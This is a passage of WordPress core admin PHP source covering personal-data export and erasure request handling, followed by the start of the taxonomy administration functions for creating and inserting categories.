	if ( ! $request || 'user_request' !== $request->post_type ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) );
	}

	$result = wp_send_user_request( $request_id );

	if ( is_wp_error( $result ) ) {
		return $result;
	} elseif ( ! $result ) {
		return new WP_Error( 'privacy_request_error', __( 'Unable to initiate confirmation for personal data request.' ) );
	}

	return true;
}

/**
 * Marks a request as completed by the admin and logs the current timestamp.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return int|WP_Error Request ID on success, or a WP_Error on failure.
 */
function _wp_privacy_completed_request( $request_id ) {
	// Get the request.
	$request_id = absint( $request_id );
	$request    = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) );
	}

	update_post_meta( $request_id, '_wp_user_request_completed_timestamp', time() );

	$result = wp_update_post(
		array(
			'ID'          => $request_id,
			'post_status' => 'request-completed',
		)
	);

	return $result;
}

/**
 * Handle list table actions.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_handle_actions() {
	if ( isset( $_POST['privacy_action_email_retry'] ) ) {
		check_admin_referer( 'bulk-privacy_requests' );

		$request_id = absint( current( array_keys( (array) wp_unslash( $_POST['privacy_action_email_retry'] ) ) ) );
		$result     = _wp_privacy_resend_request( $request_id );

		if ( is_wp_error( $result ) ) {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				$result->get_error_message(),
				'error'
			);
		} else {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				__( 'Confirmation request sent again successfully.' ),
				'success'
			);
		}
	} elseif ( isset( $_POST['action'] ) ) {
		$action = ! empty( $_POST['action'] ) ? sanitize_key( wp_unslash( $_POST['action'] ) ) : '';

		switch ( $action ) {
			case 'add_export_personal_data_request':
			case 'add_remove_personal_data_request':
				check_admin_referer( 'personal-data-request' );

				if ( ! isset( $_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'] ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid personal data action.' ),
						'error'
					);
				}
				$action_type               = sanitize_text_field( wp_unslash( $_POST['type_of_action'] ) );
				$username_or_email_address = sanitize_text_field( wp_unslash( $_POST['username_or_email_for_privacy_request'] ) );
				$email_address             = '';
				$status                    = 'pending';

				if ( ! isset( $_POST['send_confirmation_email'] ) ) {
					$status = 'confirmed';
				}

				if ( ! in_array( $action_type, _wp_privacy_action_request_types(), true ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid personal data action.' ),
						'error'
					);
				}

				if ( ! is_email( $username_or_email_address ) ) {
					$user = get_user_by( 'login', $username_or_email_address );
					if ( ! $user instanceof WP_User ) {
						add_settings_error(
							'username_or_email_for_privacy_request',
							'username_or_email_for_privacy_request',
							__( 'Unable to add this request. A valid email address or username must be supplied.' ),
							'error'
						);
					} else {
						$email_address = $user->user_email;
					}
				} else {
					$email_address = $username_or_email_address;
				}

				if ( empty( $email_address ) ) {
					break;
				}

				$request_id = wp_create_user_request( $email_address, $action_type, array(), $status );
				$message    = '';

				if ( is_wp_error( $request_id ) ) {
					$message = $request_id->get_error_message();
				} elseif ( ! $request_id ) {
					$message = __( 'Unable to initiate confirmation request.' );
				}

				if ( $message ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						$message,
						'error'
					);
					break;
				}

				if ( 'pending' === $status ) {
					wp_send_user_request( $request_id );

					$message = __( 'Confirmation request initiated successfully.' );
				} elseif ( 'confirmed' === $status ) {
					$message = __( 'Request added successfully.' );
				}

				if ( $message ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						$message,
						'success'
					);
					break;
				}
		}
	}
}

/**
 * Cleans up failed and expired requests before displaying the list table.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_cleanup_requests() {
	/** This filter is documented in wp-includes/user.php */
	$expires = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );

	$requests_query = new WP_Query(
		array(
			'post_type'      => 'user_request',
			'posts_per_page' => -1,
			'post_status'    => 'request-pending',
			'fields'         => 'ids',
			'date_query'     => array(
				array(
					'column' => 'post_modified_gmt',
					'before' => $expires . ' seconds ago',
				),
			),
		)
	);

	$request_ids = $requests_query->posts;

	foreach ( $request_ids as $request_id ) {
		wp_update_post(
			array(
				'ID'            => $request_id,
				'post_status'   => 'request-failed',
				'post_password' => '',
			)
		);
	}
}

/**
 * Generate a single group for the personal data export report.
 *
 * @since 4.9.6
 * @since 5.4.0 Added the `$group_id` and `$groups_count` parameters.
 *
 * @param array  $group_data {
 *     The group data to render.
 *
 *     @type string $group_label  The user-facing heading for the group, e.g. 'Comments'.
 *     @type array  $items        {
 *         An array of group items.
 *
 *         @type array  $group_item_data  {
 *             An array of name-value pairs for the item.
 *
 *             @type string $name   The user-facing name of an item name-value pair, e.g. 'IP Address'.
 *             @type string $value  The user-facing value of an item data pair, e.g. '50.60.70.0'.
 *         }
 *     }
 * }
 * @param string $group_id     The group identifier.
 * @param int    $groups_count The number of all groups
 * @return string The HTML for this group and its items.
 */
function wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id = '', $groups_count = 1 ) {
	$group_id_attr = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );

	$group_html  = '<h2 id="' . esc_attr( $group_id_attr ) . '">';
	$group_html .= esc_html( $group_data['group_label'] );

	$items_count = count( (array) $group_data['items'] );
	if ( $items_count > 1 ) {
		$group_html .= sprintf( ' <span class="count">(%d)</span>', $items_count );
	}

	$group_html .= '</h2>';

	if ( ! empty( $group_data['group_description'] ) ) {
		$group_html .= '<p>' . esc_html( $group_data['group_description'] ) . '</p>';
	}

	$group_html .= '<div>';

	foreach ( (array) $group_data['items'] as $group_item_id => $group_item_data ) {
		$group_html .= '<table>';
		$group_html .= '<tbody>';

		foreach ( (array) $group_item_data as $group_item_datum ) {
			$value = $group_item_datum['value'];
			// If it looks like a link, make it a link.
			if ( ! str_contains( $value, ' ' ) && ( str_starts_with( $value, 'http://' ) || str_starts_with( $value, 'https://' ) ) ) {
				$value = '<a href="' . esc_url( $value ) . '">' . esc_html( $value ) . '</a>';
			}

			$group_html .= '<tr>';
			$group_html .= '<th>' . esc_html( $group_item_datum['name'] ) . '</th>';
			$group_html .= '<td>' . wp_kses( $value, 'personal_data_export' ) . '</td>';
			$group_html .= '</tr>';
		}

		$group_html .= '</tbody>';
		$group_html .= '</table>';
	}

	if ( $groups_count > 1 ) {
		$group_html .= '<div class="return-to-top">';
		$group_html .= '<a href="#top"><span aria-hidden="true">&uarr; </span> ' . esc_html__( 'Go to top' ) . '</a>';
		$group_html .= '</div>';
	}

	$group_html .= '</div>';

	return $group_html;
}

/**
 * Generate the personal data export file.
 *
 * @since 4.9.6
 *
 * @param int $request_id The export request ID.
 */
function wp_privacy_generate_personal_data_export_file( $request_id ) {
	if ( ! class_exists( 'ZipArchive' ) ) {
		wp_send_json_error( __( 'Unable to generate personal data export file. ZipArchive not available.' ) );
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when generating personal data export file.' ) );
	}

	$email_address = $request->email;

	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address when generating personal data export file.' ) );
	}

	// Create the exports folder if needed.
	$exports_dir = wp_privacy_exports_dir();
	$exports_url = wp_privacy_exports_url();

	if ( ! wp_mkdir_p( $exports_dir ) ) {
		wp_send_json_error( __( 'Unable to create personal data export folder.' ) );
	}

	// Protect export folder from browsing.
	$index_pathname = $exports_dir . 'index.php';
	if ( ! file_exists( $index_pathname ) ) {
		$file = fopen( $index_pathname, 'w' );
		if ( false === $file ) {
			wp_send_json_error( __( 'Unable to protect personal data export folder from browsing.' ) );
		}
		fwrite( $file, "<?php\n// Silence is golden.\n" );
		fclose( $file );
	}

	$obscura              = wp_generate_password( 32, false, false );
	$file_basename        = 'wp-personal-data-file-' . $obscura;
	$html_report_filename = wp_unique_filename( $exports_dir, $file_basename . '.html' );
	$html_report_pathname = wp_normalize_path( $exports_dir . $html_report_filename );
	$json_report_filename = $file_basename . '.json';
	$json_report_pathname = wp_normalize_path( $exports_dir . $json_report_filename );

	/*
	 * Gather general data needed.
	 */

	// Title.
	$title = sprintf(
		/* translators: %s: User's email address. */
		__( 'Personal Data Export for %s' ),
		$email_address
	);

	// First, build an "About" group on the fly for this report.
	$about_group = array(
		/* translators: Header for the About section in a personal data export. */
		'group_label'       => _x( 'About', 'personal data group label' ),
		/* translators: Description for the About section in a personal data export. */
		'group_description' => _x( 'Overview of export report.', 'personal data group description' ),
		'items'             => array(
			'about-1' => array(
				array(
					'name'  => _x( 'Report generated for', 'email address' ),
					'value' => $email_address,
				),
				array(
					'name'  => _x( 'For site', 'website name' ),
					'value' => get_bloginfo( 'name' ),
				),
				array(
					'name'  => _x( 'At URL', 'website URL' ),
					'value' => get_bloginfo( 'url' ),
				),
				array(
					'name'  => _x( 'On', 'date/time' ),
					'value' => current_time( 'mysql' ),
				),
			),
		),
	);

	// And now, all the Groups.
	$groups = get_post_meta( $request_id, '_export_data_grouped', true );
	if ( is_array( $groups ) ) {
		// Merge in the special "About" group.
		$groups       = array_merge( array( 'about' => $about_group ), $groups );
		$groups_count = count( $groups );
	} else {
		if ( false !== $groups ) {
			_doing_it_wrong(
				__FUNCTION__,
				/* translators: %s: Post meta key. */
				sprintf( __( 'The %s post meta must be an array.' ), '<code>_export_data_grouped</code>' ),
				'5.8.0'
			);
		}

		$groups       = null;
		$groups_count = 0;
	}

	// Convert the groups to JSON format.
	$groups_json = wp_json_encode( $groups );

	if ( false === $groups_json ) {
		$error_message = sprintf(
			/* translators: %s: Error message. */
			__( 'Unable to encode the personal data for export. Error: %s' ),
			json_last_error_msg()
		);

		wp_send_json_error( $error_message );
	}

	/*
	 * Handle the JSON export.
	 */
	$file = fopen( $json_report_pathname, 'w' );

	if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open personal data export file (JSON report) for writing.' ) );
	}

	fwrite( $file, '{' );
	fwrite( $file, '"' . $title . '":' );
	fwrite( $file, $groups_json );
	fwrite( $file, '}' );
	fclose( $file );

	/*
	 * Handle the HTML export.
	 */
	$file = fopen( $html_report_pathname, 'w' );

	if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open personal data export (HTML report) for writing.' ) );
	}

	fwrite( $file, "<!DOCTYPE html>\n" );
	fwrite( $file, "<html>\n" );
	fwrite( $file, "<head>\n" );
	fwrite( $file, "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />\n" );
	fwrite( $file, "<style type='text/css'>" );
	fwrite( $file, 'body { color: black; font-family: Arial, sans-serif; font-size: 11pt; margin: 15px auto; width: 860px; }' );
	fwrite( $file, 'table { background: #f0f0f0; border: 1px solid #ddd; margin-bottom: 20px; width: 100%; }' );
	fwrite( $file, 'th { padding: 5px; text-align: left; width: 20%; }' );
	fwrite( $file, 'td { padding: 5px; }' );
	fwrite( $file, 'tr:nth-child(odd) { background-color: #fafafa; }' );
	fwrite( $file, '.return-to-top { text-align: right; }' );
	fwrite( $file, '</style>' );
	fwrite( $file, '<title>' );
	fwrite( $file, esc_html( $title ) );
	fwrite( $file, '</title>' );
	fwrite( $file, "</head>\n" );
	fwrite( $file, "<body>\n" );
	fwrite( $file, '<h1 id="top">' . esc_html__( 'Personal Data Export' ) . '</h1>' );

	// Create TOC.
	if ( $groups_count > 1 ) {
		fwrite( $file, '<div id="table_of_contents">' );
		fwrite( $file, '<h2>' . esc_html__( 'Table of Contents' ) . '</h2>' );
		fwrite( $file, '<ul>' );
		foreach ( (array) $groups as $group_id => $group_data ) {
			$group_label       = esc_html( $group_data['group_label'] );
			$group_id_attr     = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );
			$group_items_count = count( (array) $group_data['items'] );
			if ( $group_items_count > 1 ) {
				$group_label .= sprintf( ' <span class="count">(%d)</span>', $group_items_count );
			}
			fwrite( $file, '<li>' );
			fwrite( $file, '<a href="#' . esc_attr( $group_id_attr ) . '">' . $group_label . '</a>' );
			fwrite( $file, '</li>' );
		}
		fwrite( $file, '</ul>' );
		fwrite( $file, '</div>' );
	}

	// Now, iterate over every group in $groups and have the formatter render it in HTML.
	foreach ( (array) $groups as $group_id => $group_data ) {
		fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id, $groups_count ) );
	}

	fwrite( $file, "</body>\n" );
	fwrite( $file, "</html>\n" );
	fclose( $file );

	/*
	 * Now, generate the ZIP.
	 *
	 * If an archive has already been generated, then remove it and reuse the filename,
	 * to avoid breaking any URLs that may have been previously sent via email.
	 */
	$error = false;

	// This meta value is used from version 5.5.
	$archive_filename = get_post_meta( $request_id, '_export_file_name', true );

	// This one stored an absolute path and is used for backward compatibility.
	$archive_pathname = get_post_meta( $request_id, '_export_file_path', true );

	// If a filename meta exists, use it.
	if ( ! empty( $archive_filename ) ) {
		$archive_pathname = $exports_dir . $archive_filename;
	} elseif ( ! empty( $archive_pathname ) ) {
		// If a full path meta exists, use it and create the new meta value.
		$archive_filename = basename( $archive_pathname );

		update_post_meta( $request_id, '_export_file_name', $archive_filename );

		// Remove the back-compat meta values.
		delete_post_meta( $request_id, '_export_file_url' );
		delete_post_meta( $request_id, '_export_file_path' );
	} else {
		// If there's no filename or full path stored, create a new file.
		$archive_filename = $file_basename . '.zip';
		$archive_pathname = $exports_dir . $archive_filename;

		update_post_meta( $request_id, '_export_file_name', $archive_filename );
	}

	$archive_url = $exports_url . $archive_filename;

	if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) {
		wp_delete_file( $archive_pathname );
	}

	$zip = new ZipArchive();
	if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) {
		if ( ! $zip->addFile( $json_report_pathname, 'export.json' ) ) {
			$error = __( 'Unable to archive the personal data export file (JSON format).' );
		}

		if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) {
			$error = __( 'Unable to archive the personal data export file (HTML format).' );
		}

		$zip->close();

		if ( ! $error ) {
			/**
			 * Fires right after all personal data has been written to the export file.
			 *
			 * @since 4.9.6
			 * @since 5.4.0 Added the `$json_report_pathname` parameter.
			 *
			 * @param string $archive_pathname     The full path to the export file on the filesystem.
			 * @param string $archive_url          The URL of the archive file.
			 * @param string $html_report_pathname The full path to the HTML personal data report on the filesystem.
			 * @param int    $request_id           The export request ID.
			 * @param string $json_report_pathname The full path to the JSON personal data report on the filesystem.
			 */
			do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id, $json_report_pathname );
		}
	} else {
		$error = __( 'Unable to open personal data export file (archive) for writing.' );
	}

	// Remove the JSON file.
	unlink( $json_report_pathname );

	// Remove the HTML file.
	unlink( $html_report_pathname );

	if ( $error ) {
		wp_send_json_error( $error );
	}
}

/**
 * Send an email to the user with a link to the personal data export file
 *
 * @since 4.9.6
 *
 * @param int $request_id The request ID for this personal data export.
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_privacy_send_personal_data_export_email( $request_id ) {
	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		return new WP_Error( 'invalid_request', __( 'Invalid request ID when sending personal data export email.' ) );
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	/** This filter is documented in wp-includes/functions.php */
	$expiration      = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
	$expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration );

	$exports_url      = wp_privacy_exports_url();
	$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
	$export_file_url  = $exports_url . $export_file_name;

	$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	$site_url  = home_url();

	/**
	 * Filters the recipient of the personal data export email notification.
	 * Should be used with great caution to avoid sending the data export link to wrong emails.
	 *
	 * @since 5.3.0
	 *
	 * @param string          $request_email The email address of the notification recipient.
	 * @param WP_User_Request $request       The request that is initiating the notification.
	 */
	$request_email = apply_filters( 'wp_privacy_personal_data_email_to', $request->email, $request );

	$email_data = array(
		'request'           => $request,
		'expiration'        => $expiration,
		'expiration_date'   => $expiration_date,
		'message_recipient' => $request_email,
		'export_file_url'   => $export_file_url,
		'sitename'          => $site_name,
		'siteurl'           => $site_url,
	);

	/* translators: Personal data export notification email subject. %s: Site title. */
	$subject = sprintf( __( '[%s] Personal Data Export' ), $site_name );

	/**
	 * Filters the subject of the email sent when an export request is completed.
	 *
	 * @since 5.3.0
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'wp_privacy_personal_data_email_subject', $subject, $site_name, $email_data );

	/* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy,

Your request for an export of personal data has been completed. You may
download your personal data by clicking on the link below. For privacy
and security, we will automatically delete the file on ###EXPIRATION###,
so please download it before then.

###LINK###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent with a personal data export file.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###EXPIRATION###         The date when the URL will be automatically deleted.
	 * ###LINK###               URL of the personal data export file for the user.
	 * ###SITENAME###           The name of the site.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 4.9.6
	 * @since 5.3.0 Introduced the `$email_data` array.
	 *
	 * @param string $email_text Text in the email.
	 * @param int    $request_id The request ID for this personal data export.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 */
	$content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id, $email_data );

	$content = str_replace( '###EXPIRATION###', $expiration_date, $content );
	$content = str_replace( '###LINK###', sanitize_url( $export_file_url ), $content );
	$content = str_replace( '###EMAIL###', $request_email, $content );
	$content = str_replace( '###SITENAME###', $site_name, $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $site_url ), $content );

	$headers = '';

	/**
	 * Filters the headers of the email sent with a personal data export file.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'wp_privacy_personal_data_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$mail_success = wp_mail( $request_email, $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( ! $mail_success ) {
		return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export email.' ) );
	}

	return true;
}

/**
 * Intercept personal data exporter page Ajax responses in order to assemble the personal data export file.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_export_page'
 *
 * @param array  $response        The response from the personal data exporter for the given page.
 * @param int    $exporter_index  The index of the personal data exporter. Begins at 1.
 * @param string $email_address   The email address of the user whose personal data this is.
 * @param int    $page            The page of personal data for this exporter. Begins at 1.
 * @param int    $request_id      The request ID for this personal data export.
 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
 * @param string $exporter_key    The slug (key) of the exporter.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) {
	/* Do some simple checks on the shape of the response from the exporter.
	 * If the exporter response is malformed, don't attempt to consume it - let it
	 * pass through to generate a warning to the user by default Ajax processing.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'data', $response ) ) {
		return $response;
	}

	if ( ! is_array( $response['data'] ) ) {
		return $response;
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when merging personal data to export.' ) );
	}

	$export_data = array();

	// First exporter, first page? Reset the report data accumulation array.
	if ( 1 === $exporter_index && 1 === $page ) {
		update_post_meta( $request_id, '_export_data_raw', $export_data );
	} else {
		$accumulated_data = get_post_meta( $request_id, '_export_data_raw', true );

		if ( $accumulated_data ) {
			$export_data = $accumulated_data;
		}
	}

	// Now, merge the data from the exporter response into the data we have accumulated already.
	$export_data = array_merge( $export_data, $response['data'] );
	update_post_meta( $request_id, '_export_data_raw', $export_data );

	// If we are not yet on the last page of the last exporter, return now.
	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$exporters        = apply_filters( 'wp_privacy_personal_data_exporters', array() );
	$is_last_exporter = count( $exporters ) === $exporter_index;
	$exporter_done    = $response['done'];
	if ( ! $is_last_exporter || ! $exporter_done ) {
		return $response;
	}

	// Last exporter, last page - let's prepare the export file.

	// First we need to re-organize the raw data hierarchically in groups and items.
	$groups = array();
	foreach ( (array) $export_data as $export_datum ) {
		$group_id    = $export_datum['group_id'];
		$group_label = $export_datum['group_label'];

		$group_description = '';
		if ( ! empty( $export_datum['group_description'] ) ) {
			$group_description = $export_datum['group_description'];
		}

		if ( ! array_key_exists( $group_id, $groups ) ) {
			$groups[ $group_id ] = array(
				'group_label'       => $group_label,
				'group_description' => $group_description,
				'items'             => array(),
			);
		}

		$item_id = $export_datum['item_id'];
		if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) {
			$groups[ $group_id ]['items'][ $item_id ] = array();
		}

		$old_item_data                            = $groups[ $group_id ]['items'][ $item_id ];
		$merged_item_data                         = array_merge( $export_datum['data'], $old_item_data );
		$groups[ $group_id ]['items'][ $item_id ] = $merged_item_data;
	}

	// Then save the grouped data into the request.
	delete_post_meta( $request_id, '_export_data_raw' );
	update_post_meta( $request_id, '_export_data_grouped', $groups );

	/**
	 * Generate the export file from the collected, grouped personal data.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The export request ID.
	 */
	do_action( 'wp_privacy_personal_data_export_file', $request_id );

	// Clear the grouped data now that it is no longer needed.
	delete_post_meta( $request_id, '_export_data_grouped' );

	// If the destination is email, send it now.
	if ( $send_as_email ) {
		$mail_success = wp_privacy_send_personal_data_export_email( $request_id );
		if ( is_wp_error( $mail_success ) ) {
			wp_send_json_error( $mail_success->get_error_message() );
		}

		// Update the request to completed state when the export email is sent.
		_wp_privacy_completed_request( $request_id );
	} else {
		// Modify the response to include the URL of the export file so the browser can fetch it.
		$exports_url      = wp_privacy_exports_url();
		$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
		$export_file_url  = $exports_url . $export_file_name;

		if ( ! empty( $export_file_url ) ) {
			$response['url'] = $export_file_url;
		}
	}

	return $response;
}

/**
 * Mark erasure requests as completed after processing is finished.
 *
 * This intercepts the Ajax responses to personal data eraser page requests, and
 * monitors the status of a request. Once all of the processing has finished, the
 * request is marked as completed.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_erasure_page'
 *
 * @param array  $response      The response from the personal data eraser for
 *                              the given page.
 * @param int    $eraser_index  The index of the personal data eraser. Begins
 *                              at 1.
 * @param string $email_address The email address of the user whose personal
 *                              data this is.
 * @param int    $page          The page of personal data for this eraser.
 *                              Begins at 1.
 * @param int    $request_id    The request ID for this personal data erasure.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) {
	/*
	 * If the eraser response is malformed, don't attempt to consume it; let it
	 * pass through, so that the default Ajax processing will generate a warning
	 * to the user.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'items_removed', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'items_retained', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'messages', $response ) ) {
		return $response;
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when processing personal data to erase.' ) );
	}

	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$erasers        = apply_filters( 'wp_privacy_personal_data_erasers', array() );
	$is_last_eraser = count( $erasers ) === $eraser_index;
	$eraser_done    = $response['done'];

	if ( ! $is_last_eraser || ! $eraser_done ) {
		return $response;
	}

	_wp_privacy_completed_request( $request_id );

	/**
	 * Fires immediately after a personal data erasure request has been marked completed.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The privacy request post ID associated with this request.
	 */
	do_action( 'wp_privacy_personal_data_erased', $request_id );

	return $response;
}
<?php
/**
 * WordPress Taxonomy Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Category.
//

/**
 * Checks whether a category exists.
 *
 * @since 2.0.0
 *
 * @see term_exists()
 *
 * @param int|string $cat_name        Category name.
 * @param int        $category_parent Optional. ID of parent category.
 * @return string|null Returns the category ID as a numeric string if the pairing exists, null if not.
 */
function category_exists( $cat_name, $category_parent = null ) {
	$id = term_exists( $cat_name, 'category', $category_parent );
	if ( is_array( $id ) ) {
		$id = $id['term_id'];
	}
	return $id;
}

/**
 * Gets category object for given ID and 'edit' filter context.
 *
 * @since 2.0.0
 *
 * @param int $id
 * @return object
 */
function get_category_to_edit( $id ) {
	$category = get_term( $id, 'category', OBJECT, 'edit' );
	_make_cat_compat( $category );
	return $category;
}

/**
 * Adds a new category to the database if it does not already exist.
 *
 * @since 2.0.0
 *
 * @param int|string $cat_name        Category name.
 * @param int        $category_parent Optional. ID of parent category.
 * @return int|WP_Error
 */
function wp_create_category( $cat_name, $category_parent = 0 ) {
	$id = category_exists( $cat_name, $category_parent );
	if ( $id ) {
		return $id;
	}

	return wp_insert_category(
		array(
			'cat_name'        => $cat_name,
			'category_parent' => $category_parent,
		)
	);
}

/**
 * Creates categories for the given post.
 *
 * @since 2.0.0
 *
 * @param string[] $categories Array of category names to create.
 * @param int      $post_id    Optional. The post ID. Default empty.
 * @return int[] Array of IDs of categories assigned to the given post.
 */
function wp_create_categories( $categories, $post_id = '' ) {
	$cat_ids = array();
	foreach ( $categories as $category ) {
		$id = category_exists( $category );
		if ( $id ) {
			$cat_ids[] = $id;
		} else {
			$id = wp_create_category( $category );
			if ( $id ) {
				$cat_ids[] = $id;
			}
		}
	}

	if ( $post_id ) {
		wp_set_post_categories( $post_id, $cat_ids );
	}

	return $cat_ids;
}

/**
 * Updates an existing Category or creates a new Category.
 *
 * @since 2.0.0
 * @since 2.5.0 $wp_error parameter was added.
 * @since 3.0.0 The 'taxonomy' argument was added.
 *
 * @param array $catarr {
 *     Array of arguments for inserting a new category.
 *
 *     @type int        $cat_ID               Category ID. A non-zero value updates an existing category.
 *                                            Default 0.
 *     @type string     $taxonomy             Taxonomy slug. Default 'category'.
 *     @type string     $cat_name             Category name. Default empty.
 *     @type string     $category_description Category description. Default empty.
 *     @type string     $category_nicename    Category nice (display) name. Default empty.
 *     @type int|string $category_parent      Category parent ID. Default empty.
 * }
 * @param bool  $wp_error Optional. Default false.
 * @return int|WP_Error The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
 *                      depending on param `$wp_error`.
 */
function wp_insert_category( $catarr, $wp_error = false ) {
	$cat_defaults = array(
		'cat_ID'               => 0,
		'taxonomy'             => 'category',
		'cat_name'             => '',
		'category_description' => '',
		'category_nicename'    => '',
		'category_parent'      => '',
	);
	$catarr       = wp_parse_args( $catarr, $cat_defaults );

	if ( '' === trim( $catarr['cat_name'] ) ) {
		if ( ! $wp_error ) {
			return 0;
		} else {
			return new WP_Error( 'cat_name', __( 'You did not enter a category name.' ) );
		}
	}

	$catarr['cat_ID'] = (int) $catarr['cat_ID'];

	// Are we updating or creating?
	$update = ! empty( $catarr['cat_ID'] );

	$name        = $catarr['cat_name'];
	$description = $catarr['category_description'];
	$slug        = $catarr['category_nicename'];
	$parent      = (int) $catarr['category_parent'];
	if ( $parent < 0 ) {
		$parent = 0;
	}

	if ( empty( $parent )
		|| ! term_exists( $parent, $catarr['taxonomy'] )
